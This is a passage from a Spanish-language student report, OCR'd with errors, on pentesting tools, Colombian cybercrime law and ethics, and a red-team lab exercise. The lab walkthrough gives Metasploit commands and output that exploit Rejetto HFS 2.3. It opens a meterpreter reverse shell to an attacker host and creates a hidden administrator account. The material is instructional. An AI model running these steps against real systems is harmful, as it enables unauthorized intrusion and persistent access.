mediante una interfaz web.

Segun su pagina web principal dice que estén framework incluye pruebas
autenticadas y no autenticadas coma asi mismo pruebas de alto nivel e internet de
bajo nivel, y que cuenta con su propio lenguaje de programacion interno que permite
implementar cualquier tipo de prueba de vulnerabilidad

Con este framework se puede interactuar con 2 servicios, OpenVAS Manager y
OpenVAS Scanner, este primer servicio es el que realiza tareas como la filtracién o
clasificacion de los resultados del analisis asi mismo el control de la base de datos
con los resultados de la exploracion; ya el segundo servicio es un escaner que
ejecuta las las pruebas de vulnerabilidad de red, que comprueban la presencia de
problemas de seguridad especificos conocidos en los sistemas.
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7.4 EXPLOITDB

Este servicio en linea es una aplicacion web en la cual se almacena una base de
datos publicas con expolits, y software vulnerable, la cual puede ser usado para
pruebas de pentesting e investigacion de vulnerabilidades, esta base de datos es
publica y es alimentada por los usuarios de la comunidad, este es un proyecto sin
animo de lucro desarrollado por la compafiia OFFENSIVE SECURITY, la cual es
creadora de Kali Linux.

7.5 CVE

Este servicio en linea es una lista de vulnerabilidades y exposiciones comunes de
software, proyecto que es financiado por la Division de Seguridad Nacion de los
Estados Unidos y mantenido por MITRE Corporation. Se utiliza el protocolo SCAP
para la recopilacién de informacion de las vulnerabilidades y las exposiciones de
seguridad, para luego ser catalogadas con varios identificadores y por ultimo asignar
un ID unico.

MITRE define esta lista como un glosario mas no como una base de datos, cada
una de estas CVE tiene un numero de identificacion junto con la descripcion de la
vulnerabilidad, versiones afectadas del software y posibles soluciones.
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8 ANALISIS DE LOS ANEXOS ESCENARIO 2 Y ACUERDO DESDE EL
PUNTO DE VISTA LEGAL Y NO ETICO

En el anexo 2 escena 2, podemos ver el caso de una organizacion con
reconocimiento lider en los procesos de campo de la seguridad de la informacion,
que ha prestado sus servicios a algunos paises, pero qué su actuar no es muy ético,
pues se aprecia en el documento, que un abogado que encontrd procesos ilicitos
que realiza la organizacion fue despedido, se nota por parte de la alta gerencia de
esta organizacion que solo existe un interés y es el de realizar actividades que van
en contra de la ciberseguridad.

En el anexo 3 acuerdo de confidencialidad, dentro de sus consideraciones esta todo
normal ya que todas las organizaciones siempre hacen estos acuerdos de
confidencialidad, donde la informacion que se produce por parte del empleado es
de la organizacion y que este como guarda de esta informacién no debe divulgarla
bajo ninguna manera; pero llegando a la parte de las clausulas, vemos que la
primera de ellas en la parte final existe un texto que habla sobre procesos ilegales
que realiza la organizacion, que estos no podran ser divulgados.

En la segunda clausula realizan una definicién acerca de lo que al parecer para ellos
es “informacion confidencial” donde hablan acerca de la no divulgacion de datos
secretos, pero estos datos secretos son datos de chuzadas, interceptacion de
informacion, acceso abusivo a sistemas informaticos, actividades ilicitas que son
castigadas por la ley de delitos informaticos en Colombia.

En la cuarta clausula, la organizacion obliga al trabajador a que no denuncie ante
las autoridades toda actividad sospechosa que infrinja la ley, ademas que toda la
informacion que esté bajo la custodia del trabajador se le da mal uso por parte de la
organizacion, el que debera responder ante las autoridades es el trabajador, en
pocas palabras el trabajador es el que lleva todas las de perder, porque este ultimo
es quien debe echarse la culpa de todo.
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9 ANALISIS DE LOS ANEXOS, EN RELACION CON LA VULNERACION DE
LA LEY 1273 ARGUMENTANDO CUALQUIER PROCESO ILEGAL.

En el anexo 3 que trata del acuerdo de confidencialidad entre la organizacion
Whitehouse Security y el estudiante se aprecia una clara violacion de la ley 1273 de
2009 en la mayoria de sus articulos, por ejemplo, en la segunda clausula que trata
de “Definicion de informacioén confidencial” en el segundo item, definen a las
palabras “datos secretos” como:

Accesos abusivos a sistemas informaticos, actividad que es castigada bajo el
Articulo 269A: Acceso abusivo a un sistema informatico, con una pena de
prision de cuarenta y ocho a noventa y seis meses y en multa de 100 a 1.000
salarios minimos legales mensuales vigentes.

Interceptacion de informacion, actividad castigada bajo el Articulo 269C:
Interceptacion de datos informaticos, con una pena de prision de treinta y seis a
setenta y dos meses.

En la cuarta clausula del acuerdo de confidencialidad item 2, que da lugar a las
Obligaciones de la parte receptora, consideran como propia la informacion personal
que adquieren de manera legal e ilegal y en su paragrafo suministran la informacién
confidencial a terceros, siendo esto una falta a el Articulo 269F: Violaciéon de
datos personales.

Otra violacion se da, al Articulo 269H: Circunstancias de agravacion punitiva,
en sus items,

e item 1, ya que segln el anexo 2 esta organizacién presta sus servicios a
gobiernos de varios paises.

e [tem 3, Aprovecha de la confianza que deposita el poseedor de la informacion
para realizar actividades ilicitas.

e item 4y 5, revela la informacién de sus clientes o empleados a Terceros por
algun tipo de beneficio.

e item 6, Al autoproclamarse como poseedora de la informacién De una nacion,
esto puedes generar un riesgo para la seguridad o la defensa nacional del
pais.
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e item 7, al utilizar a su empleado como escudo obligandolo a que €l responda
ante las autoridades por el mal uso y la tenencia de informacién confidencial.

10 ANALISIS DE LA PROPUESTA LABORAL, TENIENDO PRESENTE EN
CUENTA LA REVISION DESDE EL PUNTO DE VISTA LEGAL Y ETICO.

De ninguna manera aplicaria al trabajo ofrecido por esta organizacién, sin importar
que el empleo es bien pago y de manera vitalicia, porque por encima del dinero esta
mi moral ética y profesional, ya que por medio de mi creencia religiosa he adquirido
muy buenos valores gracias al temor a Dios, ademas desde el dia en que me gradué
como ingeniero de sistemas juré respetar el cédigo de Etica para el ejercicio de la
Ingenieria en general y sus profesiones afines y auxiliares.

Aceptando esta propuesta de trabajo se estaria faltando al codigo de ética en los
siguientes puntos:

En el ARTICULO 31. DEBERES GENERALES DE LOS PROFESIONALES, en el
item f, nos instan a denunciar los delitos y faltas contra este cédigo de ética, pero
en el acuerdo de confidencialidad que se firma con esta organizacion se nos prohibe
denunciar cualquier actividad ilicita que haga la organizacion, igualmente el item b
de este capitulo al realizar una utilizacion indebida de la informacién qué se nos
entrega en custodia.

En el ARTICULO 34. PROHIBICIONES ESPECIALES A LOS PROFESIONALES
RESPECTO DE LA SOCIEDAD, en su item a, al aceptar este trabajo que va en
contra de las disposiciones legales vigentes.

En el ARTICULO 35. DEBERES DE LOS PROFESIONALES PARA CON LA
DIGNIDAD DE SUS PROFESIONES, en su item b, al no respetar y hacer respetar
todas las disposiciones legales y reglamentarias en los actos ilicitos cometidos por
esta organizacion, igualmente en su item c, no estariamos velando por el buen
prestigio de la profesion de ingeniero de sistemas.

Ademas, cometeria faltas consideradas gravisimas que conllevarian a la
cancelacion de la Matricula Profesional, como se estipula en el item c, de la
introduccién de este codigo de ética, esas faltas gravisimas son:
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e) Incurrir en algun delito que atente contra sus clientes, colegas o autoridades de
la Republica, siempre y cuando la conducta punible comprenda el ejercicio de la
ingenieria o de alguna de sus profesiones auxiliares;

f) Cualquier violacion gravisima, segun el criterio del Consejo respectivo, del
régimen de deberes, obligaciones y prohibiciones que establecen el Codigo Etica y
la presente ley.

Por ultimo esta organizacion nos obliga a responder al mal uso que hagan con la
informacion, y que seamos nosotros quienes aceptemos como unico responsable
toda la informacidn ilicita que se nos encuentre en caso de algun allanamiento, nos
obliga también a pagar por perjuicios morales y econdmicos por el incumplimiento
de las obligaciones de este acuerdo, y como cereza del pastel somos nosotros quién
deberiamos contratar un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a la organizacion.
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11 ANALIS’IS DEL CASO “OPERACION ANDROMEDA BUGGLY” DESDE SU
POSICION TENIENDO EN CUENTA LOS ASPECTOS LEGALES Y ETICOS.

El ejército insistid en que la operacion Andrémeda y su actividad de fachada de
interceptaciones “fue legal” seguin el portal de noticias RCN?%, que estaba financiada
por rubro autorizados por la ley, que se regian dentro de la normatividad legal
vigente, y que esta fachada creada bajo el nombre Buggly Ethical Hacking, tenia
como objetivo seguin el Tiempo?! “adquirir conocimientos de informatica del hacking
ético”; pero segun las investigaciones realizadas por diversos grupos de noticias no
todo fue legal, porque se realizaron muchas actividades ilicitas, que son castigadas
por la ley 1273 de 2009 conocida como la ley de delitos informaticos, se realizaron
interceptaciones de datos informaticos, acceso abusivo a sistemas informaticos,
violacién de datos personales, uso y distribucion de software malicioso, incluso se
actuo en circunstancias de agravacion punitiva, porque las principales cabezas eran
servidores publicos que realizaron sus actividades sobre sistemas informaticos
estatales y aprovechandose de su vinculo contractual obtuvieron informaciéon que
posteriormente fue vendida a terceros, generando riesgo para la seguridad nacional,
practicamente esta ley fue violada en su totalidad mediante esta operacion, y que
su actuar nunca estuvo regido bajo aspectos legales ni mucho menos éticos, pues
aunque su objetivo era el de adquirir conocimientos de informatica del hacking ético,
estos conocimientos fueron utilizados contrariamente para realizar ataques
cibernéticos.

Hoy en dia el profesional que se dedique a la seguridad de la informacion, debe
tener un alto valor ético y tener una integridad moral muy fuerte, porque recordemos
que el conocimiento es poder, que lo que aprendemos para el bien debe ser este
Su unico objetivo, que no debemos desviarnos del camino de la seguridad de la
informacion, que la ética y la moral siempre debe estar por encima del dinero, esta
operacion si hubiera sido dirigida por una persona con un una buena moral y ética,
hoy en dia para mi pensar seria una de las instituciones mas importantes de
seguridad de la informacion en Colombia.

20 NOTICIASRCN.COM. "Creacién de Andromeda fue legal": Ejercito. "Creacion de Andrémeda fue
legal": Ejercito [pagina web]. (14, febrero, 2014). [Consultado el 26, febrero, 2023]. Disponible en
Internet: <https://www.noticiasrcn.com/nacional-pais/creacion-andromeda-fue-legal-ejercito>.

21 EL TIEMPO. Fachada Andromeda era legal, pero no todo lo que se hizo alli lo fue. ElI Tiempo
[pagina web]. (24, enero, 2015). [Consultado el 26, febrero, 2023]. Disponible en Internet:
<https://www.eltiempo.com/archivo/documento/CMS-15141236>.
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12 INFORME DE HERRAMIENTAS Y PROCEDIMIENTOS UTILIZADOS PARA
DAR SOLUCION AL ESCENARIO DE RED TEAM DE ACUERDO CON LOS
PASOS DEL PENTESTING

Siguiendo el segundo paso de pentesting llamada Investigacién se recurrid a la
utilizacion de herramientas de escaneo de puertos para obtener informacioén de los
servicios instalados en la maquina objetivo junto al numero de puerto, y
herramientas para escaneo de vulnerabilidades de estos servicios instalados.

Primeramente, se procedié a utilizar la herramienta para escaneo de puertos
llamada Nmap, aplicacién que se ejecutd en una ventana terminal, desde el sistema
operativo Kali Linux, con el comando sudo nmap -sV -O 192.168.1.54, el argumento
-sV se usa para detectar la version de los servicios, y el argumento -O activa la
detencion del sistema operativo, el resultado se poder ver en la figura 1.

Figura 2. Resultado Nmap

192.168.1.54
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 11:36 EDT
Nmap scan report for 192.168.1.54
Host is up (0.00068s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed po
rt
Device type: general purpose
Running: Microsoft Windows 718[8.1|vistal2008
0S CPE: cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:wind
ows_8.1:r1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::spl cpe:/o:microsoft:w
indows_server_2008::spl
0S details: Microsoft Windows 7 Professional or Windows 8, Microsoft Windows 8.1 R1, Microsoft Wind
ows Vista SP@ or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7
SP1, or Windows Server 2008
Network Distance: 1 hop
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 15.24 seconds

Fuente: Propia

Luego se utilizé la herramienta Nessus Essentials desde un navegador web, (esta
herramienta es una aplicacion web) esta aplicacion es ofrecida por la empresa
Tenable, en su informe de escaneo encontré 14 vulnerabilidades en la maquina
objetivo, en lo cual 1 de ellos es de severidad baja, el informe de esta herramienta
se puede ver en la figura 2.
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Figura 3. Resultado Nessus Essentials

Configure  Audit Trail Launch ~ Report
@ MyScans
@ AllScans —
Hosts 1 Vulnerabilities 14 History 1
i Trash
Filter
o Policies Sev v QvsS v VPR v Nam... Family a Count v Scan Details
Plugin Rules o - 4 K.  ColaBiSesiGS 4 Policy: Basic Network Scan
® Terrascan Status: Completed
i . HWeb Servers 2 Severity Base: CVSS v3.0
Scanner: Local Scanner
| w0 c General 1 start. Today at 10:32 AM
End Today at 10:44 AM
[ w0 D.. General 1 Elapsed: 12 minutes
Tenable News
| weo E.. Misc 1 i s
== Vulnerabilities
The Challenges of
Multi -
ultt Coud e E.. General 1 a o Critial
Compliance \
=/ WERRI
Read More | v N..  Settings 1 Medium

Low
Info

Fuente: propia‘

También se procedid a utilizar la herramienta Nmap como escaner de
vulnerabilidades, utilizando el script Vuln, el comando que se utiliz6 desde una
ventana terminal es nmap -sV --script vuln 192.168.1.54, parte del resultado se
puede ver en la figura 3.

Figura 4. Parte del resultado vulnerabilidades por Nmap

vuln 192.168.1.54
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 11:21 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.54
Host is up (0.00052s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
| _http-server-header: HFS 2.3
| _http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
l_ Couldn't find a file-type field.
| _http-csrf: Couldn't find any CSRF vulnerabilities.
| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-method-tamper:
| VULNERABLE:
| Authentication bypass by HTTP verb tampering
| State: VULNERABLE (Exploitable)
| This web server contains password protected resources vulnerable to authentication bypass
|

vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit

access to the
| common HTTP methods and in misconfigured .htaccess files.

|
Fuente: Propia

Ya en el tercer paso de pentesting llamado, prueba de penetracion y explotacién,
habiendo identificado el sistema operativo, los servicios y puertos de la maquina
objetivo con el paso anterior, se procedi6 a explotar las vulnerabilidades
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encontradas con la herramienta Framework Metasploit, usando el comando search
hfs se encontro el modulo exploit/windows/http/rejetto_hfs_exec, se procedio a la
activacion de este modulo mediante el comando use
exploit/windows/http/rejetto_hfs_exec, se agrego la IP del equipo objetivo mediante
el comando set rhosts 192.168.1.54, se agrego el puerto donde funciona el servicio
mediante el comando set rport 80, se activo el payload meterpreter mediante el
comando set payload windows/meterpreter/reverse_tcp, se agrego la IP del equipo
atacante mediante el comando set /host 192.168.1.100, y por ultimo se ejecuto el
ataque con el comando exploit.

Esto nos generd una sesion en el equipo mediante meterpreter, en el cual usamos
los comandos add_user "James Andrade” "Admin”, para crear el usuario y el
comando add_localgroup_user "Administradores” "James Andrade”, para darle
privilegios de administrador, esta ejecucion de comando se aprecia en la figura 4.

Figura 5. Comandos ejecutados en Framework Metasploit

msf6 > use exploit/windows/http/rejetto_hfs_exec

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > set rhosts 192.168.1.54
rhosts = 192.168.1.54
msf6 exploit( ) > set rport 80

) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.1.100
lhost = 192.168.1.100
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.100:4444

Using URL: http://192.168.1.100:8080/JtwxsKhDZ

Server started.

Sending a malicious request to /

Payload request received: /JtwxsKhDZ

Sending stage (175686 bytes) to 192.168.1.54
[!] Tried to delete ¥TEMP%\YmGEgDArLpUH.vbs, unknown result

Meterpreter session 1 opened (192.168.1.100:4444 — 192.168.1.54:49215) at 2023-03-12 23:48:59
-0400

Server stopped.

meterpreter > sysinfo

Computer : PC202006

0S : Windows 7 (6.1 Build 7601, Service Pack 1).

Architecture : x64

System Language : es_CO

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows

meterpreter > Add_user "James Andrade" "Admin"

Unknown command: Add_user
meterpreter > add_user "James Andrade" "Admin"
The "add_user" command requires the "incognito" extension to be loaded (run: “load incognito”)

meterpreter > load incognito

Loading extension incognito ... Success.

meterpreter > add_user "James Andrade" "Admin"

[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

[*] Attempting to add user James Andrade to host 127.0.0.1

[+] Successfully added user

meterpreter > add_localgroup_user "Administradores” "James Andrade”

[-] warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

[*] Attempting to add user James Andrade to localgroup Administradores on host 127.0.0.1

[+] Successfully added user to local group

meterpreter > Interrupt: use the 'exit' command to quit

meterpreter > |

Fuente: Propia
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13 INFORME CON ANALISIS DEL CASO DE RED TEAM, QUE PERMITIO
IDENTIFICAR EL FALLO DE SEGURIDAD

Lo primero que se identifica en el anexo 4 — escenario 3 es una aplicacion llamada
Rejetto, donde segun su descripcion en la pagina web de la aplicacién dice “Puede
utilizar HFS (servidor de archivos HTTP) para enviar y recibir archivos” lo cual indica
que usara servicios de red mediante el uso de un puerto, después nos dan la versién
2.3, realizando una busqueda en Google, los primeros resultados nos muestran las
vulnerabilidades de la aplicacion en esa version, esto se aprecia en la figura 5.

Figura 6. Resultados buscador Google para Rejetto 2.3

® Q

{=

Go g[e rejetto 2.3 X

) Iméagenes () Videos Q Shopping & Noticias : Mas Herramientas

exploit-db.com
https:/wwnwv.exploit-db.com > exp... ¥ Traducir esta pagina

Rejetto HTTP File Server (HFS) 2.3.x - Exploit-DB
4 ene 2016 — Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2). CVE-
2014-6287CVE-111386 . remote exploit for Windows platform

IauuLn coia payma

https:/iwvaw.exploit-db.com > exp.

Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
30 nov 2020 — Rejetto HttpFileServer 2.3.x - Remote Command Execution (3). CVE-2014-6287
webapps exploit for Windows platform

I gitbook.io
https://dmexblue.gitbook.io » rejet... ¥ Traducir esta pagina

Rejetto HTTP File Server (HFS) 2.3 - Red Team Notes 2.0
Rejetto HTTP File Server (HFS) 2.3 - You can use HFS (HTTP File Server) to send and receive
files. - It's different from classic file sharing because it uses web

]f; rejetto.com
http:/Awww.rejetto.com > his ¥ Traducir esta pagina

Version 2.3m - HFS ~ HTTP File Server
Version 2.3. Faster file transfer; Brand new template; Delete files remotely; Scripting system, for
both template and automation; Account groups; More

e vulners.com
https:/ivulners.com > packetstorm ¥ Traducir esta pagina

Rejetto HttpFileServer 2.3.x Remote Command Execution
Rejetto HttpFileServer 2.3.x Remote Command Execution. 2020-11-29T00:00:00. Description.
Related. cisa_kev. info. Rejetto HTTP File Server (HFS) Remote Code

Ademas, se habla de un exploit que termina en una Shell reversa, la cual le dio
acceso remoto al equipo por medio del payload Meterpreter, este acceso remoto se
da por medio de una ventana terminal con privilegios de administrador para crear
usuarios, copiar y eliminar archivos, instalar aplicaciones para obtener otros
servicios, etc.
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14 INFORME DE HERRAMIENTAS UTILIZADAS PARA IDENTIFICAR FALLOS
EN EL ESCENARIO PROPUESTO

Para la identificacién de los fallos que se describen en el escenario, se utilizé el
sistema operativo Kali Linux, la cual es una distribucién Linux Debian muy usada
actualmente para actividades de ciberseguridad, pruebas de penetracion,
informatica forense, etc.

En el compilado de aplicaciones y herramientas que tiene Kali Linux, se utilizaron
en el escenario, el escaner de servicios y puertos Nmap, el cual arrojo en su informe
que el equipo objetivo tiene abierto el puerto 80 el cual es utilizado por el servicio
httpFileServer httpd 2.3 (Rejetto).

Luego mediante el mismo Nmap pero esta vez utilizando el script Vuln, especial
para la busqueda de vulnerabilidades, arrojo varios links de exploits para la version
Rejetto 2.3, como se aprecia en la figura 6.

Figura 7. Links Exploits Rejetto 2.3

vulners:
cpe:/a:rejetto:httpfileserver:2.3:
EDB-ID: 49584 10.0 https://vulners.com/exploitdb/EDB-ID:49584 *EXPLOIT*

EDB-ID:49125 10.0 https://vulners.com/exploitdb/EDB-ID:49125 *EXPLOIT*
EDB-ID:39161 10.0 https://vulners.com/exploitdb/EDB-ID:39161 *EXPLOIT*
EDB-ID:34668 10.0 https://vulners.com/exploitdb/EDB-ID:34668 *EXPLOIT*
1337DAY-ID-35849 ) https://vulners.com/zdt/1337DAY-ID-35849 *EXPLOIT*

Fuente: propia

Al abrir cada uno de estos links se tienen en comun que el cddigo asignado a esa
vulnerabilidad es la CVE-2014-6287, la cual segun INCIBE?? consiste en una
vulnerabilidad en la funcién findMacroMarker en Rejetto HTTP File Server, con
gravedad alta.

22 INCIBE. Cve-2014-6287. INCIBE-CERT [pagina web]. (7, octubre, 2014). [Consultado el 13,
marzo, 2023]. Disponible en Internet: <https://www.incibe-cert.es/alerta-
temprana/vulnerabilidades/cve-2014-6287>.
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15 ANALISIS DEL ATAQUE PRESENTADO A CADA UNA DE LAS MAQUINAS
IDENTIFICADAS

Este ataque que se presentd en uno de los equipos se debidé a una vulneracion
encontrada en la aplicacion Rejetto version 2.3, que presta servicios como servidor
de archivos, en la figura 7 se aprecia el portal web de la aplicacion instalada en el
equipo atacado.

Figura 8. Pagina web del servicio Rejetto 2.3 equipo atacado

# HFs/ x| =+ ]
(o} 0 A Noseguro | 192.168.1.54 noe | P A *» D &P =

© LINUX Commands -...

Bur—————————————
( = No files in this folder

ERSrodanas s Sl r

r9seasrch————————
\ [oo] ‘

[~ do Select
[ A [ nvert || Mask |

0 items selected

Archive | [ Getlist |

‘” b Actions —‘

%9 server information

Server time: 10/03/2023 07:34:45 p.m.
Server uptime: (1 days) 21:30:07

Fuente: propia

Segun el analisis se utilizé algun escaner de puertos y servicios en el equipo
atacado y posteriormente se busco algun exploit para esta version, y se procedio
con la ejecucion del exploit, el cual permito que el atacante pudiera obtener una
Shell reversa, que le permitio obtener una sesion en el equipo mediante Meterpreter,
posteriormente, mediante otros comandos pudo crear un usuario con privilegios de
administrador, robar informacion, etc.
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16 INFORME DE LA EXPLOTACION DE VULNERABILIDADES EN EL
ESCENARIO PROPUESTO

Podemos apreciar que la mayoria de las vulnerabilidades se dan en las aplicaciones
que prestan su servicio utilizando los puertos de red, aqui fue el caso de la aplicaciéon
Rejetto que por una vulnerabilidad que permitia ejecutar inyeccién de codigo, se
pudo obtener un Shell reverso con Meterpreter, el cual genero usa sesién remota,
donde se utilizd comando para la creacibn de un usuario con privilegios de
administrador, incluso se pudo instalar otras aplicaciones como puerta trasera que
permitiera otro tipos de ataque a los equipos.

Es preciso que se mantengan actualizados todas las aplicaciones instaladas en los
equipos de computo, incluso mantener actualizado el sistema operativo, que puede
ayudar a frenar este tipo de ataques, pues por medio de estas actualizaciones o
parches se corrigen muchas vulnerabilidades.
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17 EVIDENCIA DE LA EXPLOTACION DE LA VULNERABILIDAD
IDENTIFICADA

En un primer escaneo con la aplicacibn Nmap, se puede apreciar qué sobre el
equipo objetivo que en este caso tiene la IP 192.168.1.54, se esta ejecutando sobre
el puerto 80 un servicio llamado httpFileServer httpd 2.3, como se observa en la
figura 8.

Figura 9. Resultado escaner Nmap

192.168.1.54
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 19:58 EST
Nmap scan report for 192.168.1.54
Host is up (0.00076s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed po
rt
Device type: general purpose
Running: Microsoft Windows Vista|2008]|7
0S CPE: cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::spl cpe:/o:microsoft:wind
ows_server_2008::spl cpe:/o:microsoft:windows_7
0S details: Microsoft Windows Vista SP@ or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Wi
ndows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Fuente: Propia

Mediante una busqueda en un navegador, este servicio es ofrecido por la aplicacion
Rejetto HTTP File Server versién 2.3 como se aprecia en la figura 9.

Figura 10. Resultados buscador Bing

httpFileServer httpd 2.3 @; Q
Q BUSQUEDA () CHAT  COLEGIO  IMAGENES

»_Universidad Nacional Abierta y a Distancia ?

¢Buscas resultados de trabajo? Iniciar

sesion

Rejetto HTTP File Server (HFS)
2.3.x - Exploit Database

https://www.exploit-db.com/exploits/39161

ks

Fecha de publicacion: 4 de ene. de 2016

® Autor: Avinash Thapa

© Tiempo estimado de lectura: 2 min

Access your remote files, over the network. It has
been successfully tested with Wine under Linux
#Usage : python Exploit.py <Target IP address>
<Target Port Number= #EDB Note: You need to
be usina a web server hostina netcat

Fuente: Propia
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Se procede a realizar un escaneo de vulnerabilidades sobre el mismo objetivo, para
este caso igualmente se utilizé nmap utilizando el script Vuln, en los resultados se
fijd la atencion en wuno de los Ilinks de los exploit encontrados:
https://vulners.com/zdt/1337DAY-ID-22733 el cual dice que es un modulo del
Framework Metasploit, con lo cual se realiza una busqueda del exploit en su base
de datos el cual arrojo que se puede usar el modulo
exploit/windows/http/rejetto_hfs_exec, como se aprecia en la figura 10.

Figura 11. Busqueda exploit Framework Metasploit

msf6 > search hfs

Matching Modules

# Name Disclosure Date Rank Check Description
® exploit/multi/http/git_client_command_exec 2014-12-18 X No Malicious Git
and Mercurial HTTP Server For CVE-2014-9390

1 exploit/windows/http/rejetto_hfS_exec 2014-09-11 X Yes Rejetto HttpFi
leServer Remote Command Execution

Interact with a module by name or index. For example

Fuente Propia

Se procedié a utilizar el mddulo, configurando la IP del host (set rhosts
192.168.1.54) y el puerto a atacar (set rport 80), luego se activé el payload para el
Shell reverso (set payload windows/meterpreter/reverse_tcp), y se configuro este
para darle acceso a la IP del equipo atacante (set lhost 192.168.1.100),
posteriormente se lanz6 el ataque (exploit), este proceso se observa em la figura
11.

Figura 12. Configuracion exploit

msf6 > use exploit/windows/http/rejetto_hfs_exec
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > set rhosts 192.168.1.54
rhosts = 192.168.1.54
i set rport 80

msf6 exploit( set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf6 exploit( set lhost 192.168.1.100

lhost = 192.168.1.100

msf6 exploit( exploitf]

Fuente: Propia.
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Por medio del exploit se nos da acceso remoto al equipo por medio de meterpreter,
lanzamos el comando sysinfo el cual nos arroja la informacion del equipo atacado,
donde su nombre es PC202006, esta informacion se corrobora comparandola con
un pantallazo del equipo como se aprecia en la figura 12.

Figura 13. Comparacion nombre de equipo

Started reverse TCP handler on 192.168.1.100:4444

Using URL: http://192.168.1.100:8080/JtwxsKhDZ

Server started.

Sending a malicious request to /

Payload request received: /JtwxsKhDZ

Sending stage (175686 bytes) to 192.168.1.54
[!] Tried to delete %TEMP%\YmGEgDArLpUH.vbs, unknown result

Meterpreter session 1 opened (192.168.1.100:4444 — 192.168.1.54:49215) at 2023-03-12 23:48:59
-0400

Server stopped.

meterpreter > sysinfo

Computer : PC202006

0s : Windows 7 (6.1 Build 7601, Service Pack 1).

Architecture : Xx64

System Language : es_CO

Domain : WORKGROUP

Sistema
Evaluacion: &™) La Evaluacion de la experiencia en Windows necesita
IS actualizarse.

Procesador: AMD Ryzen 7 5700G with Radeon Graphics 3.79 GHz
Memoria instalada (RAM): 4,00 GB
Tipo de sistema: Sistema operativo de 64 bits
Lapiz y entrada tactil: La entrada tactil o manuscrita no esta disponible para esta pantalla

Configuracion de nombre, dominio y grupo de trabajo del equipo

Nombre de equipo: PC202006 &) Cambiar
Nombre completo de PC202006 configuracién
equipo:

Descripcion del equipo:

Grupo de trabajo: WORKGROUP
Activacion de Windows
Fuente: Propia

Ya con la sesidn de meterpreter se procede a la creacion de un usuario con
privilegios de administrador, cargando previamente la extension incognito, para la
ejecucion de los comandos add_user (crea el usuario) y add_localgroup_user (le da
privilegios de administrador), como se aprecia este proceso se evidencia en la figura
13.
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Figura 14. Creacion de usuario con privilegios de administrador.

meterpreter > load incognito

Loading extension incognito ... Success.
meterpreter > add_user "James Andrade”

[-] warning: Not currently running as
Call rev2self if primary

"Admin"
SYSTEM, not all tokens will be available
process token is SYSTEM

[*] Attempting to add user James Andrade to host 127.0.0.1
[+] Successfully added user

meterpreter > add_localgroup_user "Administradores” "James Andrade”
[-] warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[*] Attempting to add user James Andrade to localgroup Administradores on host 127.0.0.1
[+] Successfully added user to local group
meterpreter > ||

Fuente: Propia

La creacion de este usuario administrador se puede apreciar en el equipo Windows
7 atacado, ingresando en administracion de equipos, Usuarios y grupos locales,
esto se aprecia en la figura 14.

Figura 15. Informacion equipo atacado

A< Administracién de equipos
Accion Ver Ayuda
e 2@ X0 = HE

’ A Administracion del equipo (Ioc”

Archivo

Nombre Nombre completo Descripcién

4 [/} Herramientas del sistema

#, Administrador
(® Programador de tareas

Cuenta integrada para la administ...

. & HomeGroupUserS HomeGroupUser$ Cuenta integrada para el acceso d...
{2] Visor de eventos - g
- : #,/Invitado Cuenta integrada para el acceso c...
@ Carpetas compartidas
& & James Andrade James Andrade
4 & Usuarios y grupos locals - -
1 Usuarios il Propiedades: James Andrade ? |2
| Grupos : — ! .
(&) Rendimiento | General | Miembro de | Perfil |
&4 Administrador de dispo Miembro de:
4 =5 Almacenamiento 2
- & Administradores

=% Administracion de discc
4 Servicios y Aplicaciones

Fuente: Propia
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18 ANALISIS CON ACCIONES NECESARIAS PARA CONTENER UN ATAQUE
EN TIEMPO REAL

Primeramente, seguiria el “Plan de Respuesta ante Incidentes” en el cual segun la
pagina web de ciberseguridad.com?? estan plasmadas las instrucciones para ayudar
al personal de Tl a detectar, responder y recuperarse de incidentes de seguridad de
